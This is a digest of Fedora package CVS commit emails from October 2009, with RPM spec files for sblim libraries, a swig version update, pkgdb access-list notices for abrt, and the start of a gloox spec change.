--- 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch DELETED ---


--- consider-logical-partitions.patch DELETED ---


--- gvfs-1.4.0-mountspec-from-string.patch DELETED ---


--- gvfs-1.4.1-mtp-devices-mime.patch DELETED ---


--- gvfs-1.4.1-no-poll-for-media.patch DELETED ---


--- gvfs-1.4.1-separate-eject-safely-remove-drive.patch DELETED ---


--- gvfs-1.4.1-trash-dont-overwrite.patch DELETED ---


--- obex-crasher.patch DELETED ---



From vcrhonek at fedoraproject.org  Tue Oct 20 09:44:23 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 09:44:23 +0000 (UTC)
Subject: rpms/sblim-tools-libra/EL-4 sblim-tools-libra.spec, NONE,
	1.1 sources, 1.1, 1.2
Message-ID: <20091020094424.0022911C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-tools-libra/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27982

Modified Files:
	sources 
Added Files:
	sblim-tools-libra.spec 
Log Message:
Initial commit


--- NEW FILE sblim-tools-libra.spec ---

Name:           sblim-tools-libra
Version:        0.2.3
Release:        1%{?dist}
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks

Group:          System Environment/Libraries
License:        CPL
URL:            http://sblim.wiki.sourceforge.net/
Source0:        http://downloads.sourceforge.net/sblim/%{name}-%{version}.tar.bz2
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:       tog-pegasus

%description
The tools-libra package provides common functionality required by
the task-specific resource access layers of wbem-smt tasks such as
cmpi-dns and cmpi-samba.

%package devel
Summary:        SBLIM Common Resource Access Library for WBEM-SMT tasks Header Devel Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
The tools-libra package provides common functionality required by
the task-specific resource access layers of the wbem-smt tasks such as
cmpi-dns and cmpi-samba.
This package includes the header files and link libraries for dependent
provider packages.

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%{_libdir}/*.so.*

%files devel
%defattr(-,root,root,-)
%{_includedir}/*
%{_libdir}/*.so

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%changelog
* Tue May 26 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 0.2.3-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-tools-libra/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:22:29 -0000	1.1
+++ sources	20 Oct 2009 09:44:23 -0000	1.2
@@ -0,0 +1 @@
+66334d8f22ad98e18cc6559b471b11ad  sblim-tools-libra-0.2.3.tar.bz2



From atkac at fedoraproject.org  Tue Oct 20 09:46:24 2009
From: atkac at fedoraproject.org (Adam Tkac)
Date: Tue, 20 Oct 2009 09:46:24 +0000 (UTC)
Subject: rpms/swig/F-11 .cvsignore, 1.13, 1.14 sources, 1.13, 1.14 swig.spec,
	1.47, 1.48
Message-ID: <20091020094624.E487B11C0081@cvs1.fedora.phx.redhat.com>

Author: atkac

Update of /cvs/pkgs/rpms/swig/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28267

Modified Files:
	.cvsignore sources swig.spec 
Log Message:
- update to 1.3.40 (#529785)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/swig/F-11/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	30 Mar 2009 13:53:10 -0000	1.13
+++ .cvsignore	20 Oct 2009 09:46:24 -0000	1.14
@@ -1 +1 @@
-swig-1.3.39.tar.gz
+swig-1.3.40.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/swig/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	30 Mar 2009 13:53:10 -0000	1.13
+++ sources	20 Oct 2009 09:46:24 -0000	1.14
@@ -1 +1 @@
-ac201d1b87f8659584534f9540d7ad24  swig-1.3.39.tar.gz
+2df766c9e03e02811b1ab4bba1c7b9cc  swig-1.3.40.tar.gz


Index: swig.spec
===================================================================
RCS file: /cvs/pkgs/rpms/swig/F-11/swig.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- swig.spec	30 Mar 2009 13:53:10 -0000	1.47
+++ swig.spec	20 Oct 2009 09:46:24 -0000	1.48
@@ -3,7 +3,7 @@
 
 Summary: Connects C/C++/Objective C to some high-level programming languages.
 Name: swig
-Version: 1.3.39
+Version: 1.3.40
 Release: 1%{?dist}
 License: BSD
 Group: Development/Tools
@@ -99,6 +99,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc Doc Examples
 
 %changelog
+* Tue Oct 20 2009 Adam Tkac <atkac redhat com> 1.4.40-1
+- update to 1.3.40 (#529785)
+
 * Mon Mar 30 2009 Adam Tkac <atkac redhat com> 1.3.39-1
 - update to 1.3.39
 - swig-1.3.38-rh485540.patch was merged



From vcrhonek at fedoraproject.org  Tue Oct 20 09:52:28 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 09:52:28 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/devel import.log, NONE,
	1.1 sblim-cmpi-fsvol.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091020095228.CE34D11C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-fsvol/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29196/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cmpi-fsvol.spec 
Log Message:
Initial import (#502843).


--- NEW FILE import.log ---
sblim-cmpi-fsvol-1_4_4-1_fc10:HEAD:sblim-cmpi-fsvol-1.4.4-1.fc10.src.rpm:1256032319


--- NEW FILE sblim-cmpi-fsvol.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM fsvol instrumentation
Name:           sblim-cmpi-fsvol
Version:        1.4.4
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Fsvol Providers

%package devel
Summary:        SBLIM Fsvol Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Fsvol Development Package

%package test
Summary:        SBLIM Fsvol Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so.*
%{provider_dir}/libcmpiOSBase_LocalFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_NFSProvider.so
%{provider_dir}/libcmpiOSBase_BlockStorageStatisticalDataProvider.so
%{provider_dir}/libcmpiOSBase_HostedFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_BootOSFromFSProvider.so
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so
%{_includedir}/sblim/*Fsvol.h

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/test-cmpi-fsvol.sh
%{_datadir}/sblim-testsuite/cim/*FileSystem.cim
%{_datadir}/sblim-testsuite/cim/*FS.cim
%{_datadir}/sblim-testsuite/cim/*BlockStorageStatisticalData.cim
%{_datadir}/sblim-testsuite/system/linux/*FileSystem.*
%{_datadir}/sblim-testsuite/system/linux/*FileSystemEntries.*

%define FSVOL_SCHEMA %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.mof
%define FSVOL_REGISTRATION %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.4.4-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-fsvol/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:23:27 -0000	1.1
+++ .cvsignore	20 Oct 2009 09:52:28 -0000	1.2
@@ -0,0 +1 @@
+sblim-cmpi-fsvol-1.4.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-fsvol/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:23:27 -0000	1.1
+++ sources	20 Oct 2009 09:52:28 -0000	1.2
@@ -0,0 +1 @@
+995ce5c81472a96ca1d5af38cea27480  sblim-cmpi-fsvol-1.4.4.tar.bz2



From vcrhonek at fedoraproject.org  Tue Oct 20 10:00:45 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 10:00:45 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/F-12 sblim-cmpi-fsvol.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091020100045.08D0811C029E@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-fsvol/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30773

Modified Files:
	sources 
Added Files:
	sblim-cmpi-fsvol.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-fsvol.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM fsvol instrumentation
Name:           sblim-cmpi-fsvol
Version:        1.4.4
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Fsvol Providers

%package devel
Summary:        SBLIM Fsvol Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Fsvol Development Package

%package test
Summary:        SBLIM Fsvol Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so.*
%{provider_dir}/libcmpiOSBase_LocalFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_NFSProvider.so
%{provider_dir}/libcmpiOSBase_BlockStorageStatisticalDataProvider.so
%{provider_dir}/libcmpiOSBase_HostedFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_BootOSFromFSProvider.so
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so
%{_includedir}/sblim/*Fsvol.h

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/test-cmpi-fsvol.sh
%{_datadir}/sblim-testsuite/cim/*FileSystem.cim
%{_datadir}/sblim-testsuite/cim/*FS.cim
%{_datadir}/sblim-testsuite/cim/*BlockStorageStatisticalData.cim
%{_datadir}/sblim-testsuite/system/linux/*FileSystem.*
%{_datadir}/sblim-testsuite/system/linux/*FileSystemEntries.*

%define FSVOL_SCHEMA %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.mof
%define FSVOL_REGISTRATION %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.4.4-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-fsvol/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:23:27 -0000	1.1
+++ sources	20 Oct 2009 10:00:44 -0000	1.2
@@ -0,0 +1 @@
+995ce5c81472a96ca1d5af38cea27480  sblim-cmpi-fsvol-1.4.4.tar.bz2



From vcrhonek at fedoraproject.org  Tue Oct 20 10:16:21 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Tue, 20 Oct 2009 10:16:21 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/F-11 sblim-cmpi-fsvol.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091020101621.96F3511C0081@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-fsvol/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2118

Modified Files:
	sources 
Added Files:
	sblim-cmpi-fsvol.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-fsvol.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM fsvol instrumentation
Name:           sblim-cmpi-fsvol
Version:        1.4.4
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Fsvol Providers

%package devel
Summary:        SBLIM Fsvol Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus

%description devel
SBLIM Base Fsvol Development Package

%package test
Summary:        SBLIM Fsvol Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so.*
%{provider_dir}/libcmpiOSBase_LocalFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_NFSProvider.so
%{provider_dir}/libcmpiOSBase_BlockStorageStatisticalDataProvider.so
%{provider_dir}/libcmpiOSBase_HostedFileSystemProvider.so
%{provider_dir}/libcmpiOSBase_BootOSFromFSProvider.so
%{_datadir}/%{name}
%docdir %{_datadir}/doc/%{name}-%{version}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files devel
%defattr(-,root,root,0755)
%{_libdir}/libcmpiOSBase_CommonFsvol*.so
%{_includedir}/sblim/*Fsvol.h

%files test
%defattr(-,root,root,0755)
%{_datadir}/sblim-testsuite/test-cmpi-fsvol.sh
%{_datadir}/sblim-testsuite/cim/*FileSystem.cim
%{_datadir}/sblim-testsuite/cim/*FS.cim
%{_datadir}/sblim-testsuite/cim/*BlockStorageStatisticalData.cim
%{_datadir}/sblim-testsuite/system/linux/*FileSystem.*
%{_datadir}/sblim-testsuite/system/linux/*FileSystemEntries.*

%define FSVOL_SCHEMA %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.mof
%define FSVOL_REGISTRATION %{_datadir}/sblim-cmpi-fsvol/Linux_Fsvol.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/sblim-cmpi-fsvol/provider-register.sh -d \
  -t pegasus -r %{FSVOL_REGISTRATION} -m %{FSVOL_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Wed Oct 14 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.4.4-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-fsvol/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:23:27 -0000	1.1
+++ sources	20 Oct 2009 10:16:21 -0000	1.2
@@ -0,0 +1 @@
+995ce5c81472a96ca1d5af38cea27480  sblim-cmpi-fsvol-1.4.4.tar.bz2



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:45 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110645.BAA0E10F86E@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchcommits acl on abrt (Fedora devel) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:45 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110645.DF9A210F88F@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchbugzilla acl on abrt (Fedora devel) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:47 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110647.A634510F8AB@bastion2.fedora.phx.redhat.com>

jmoskovc has set the commit acl on abrt (Fedora devel) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:53 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110653.681F610F85F@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchbugzilla acl on abrt (Fedora 10) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:55 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110655.E97E210F8B3@bastion2.fedora.phx.redhat.com>

jmoskovc has set the commit acl on abrt (Fedora 10) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:55 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110655.9813A10F8AC@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchcommits acl on abrt (Fedora 10) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:58 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110658.A54D110F895@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchcommits acl on abrt (Fedora 11) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:06:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:06:59 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110659.7728710F8B6@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchbugzilla acl on abrt (Fedora 11) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:07:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:07:00 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110700.E3A4F10F85F@bastion2.fedora.phx.redhat.com>

jmoskovc has set the commit acl on abrt (Fedora 11) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:07:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:07:11 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110711.85D8910F894@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchbugzilla acl on abrt (Fedora 12) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:07:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:07:12 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110712.BB68C10F8AC@bastion2.fedora.phx.redhat.com>

jmoskovc has set the watchcommits acl on abrt (Fedora 12) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Tue Oct 20 11:07:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 11:07:13 +0000
Subject: [pkgdb] abrt had acl change status
Message-ID: <20091020110713.EADCE10F8B1@bastion2.fedora.phx.redhat.com>

jmoskovc has set the commit acl on abrt (Fedora 12) to Approved for kklic

To make changes to this package see:
  /pkgdb/packages/name/abrt



From hubbitus at fedoraproject.org  Tue Oct 20 11:07:59 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Tue, 20 Oct 2009 11:07:59 +0000 (UTC)
Subject: rpms/gloox/F-10 gloox.spec,1.3,1.4
Message-ID: <20091020110759.89FA411C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7388

Modified Files:
	gloox.spec 
Log Message:
- As right mentioned by Peter Lemenkov, my naming cheme is incorrect, fixing.
- Expand "beta" define and magick to more common "prerel".




Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-10/gloox.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gloox.spec	18 Oct 2009 22:06:03 -0000	1.3
+++ gloox.spec	20 Oct 2009 11:07:59 -0000	1.4
@@ -1,18 +1,17 @@
-#% define beta 7
+%define prerel rc3
 %define SVN 4204
 
 Name:		gloox
-Version:		1.0rc3
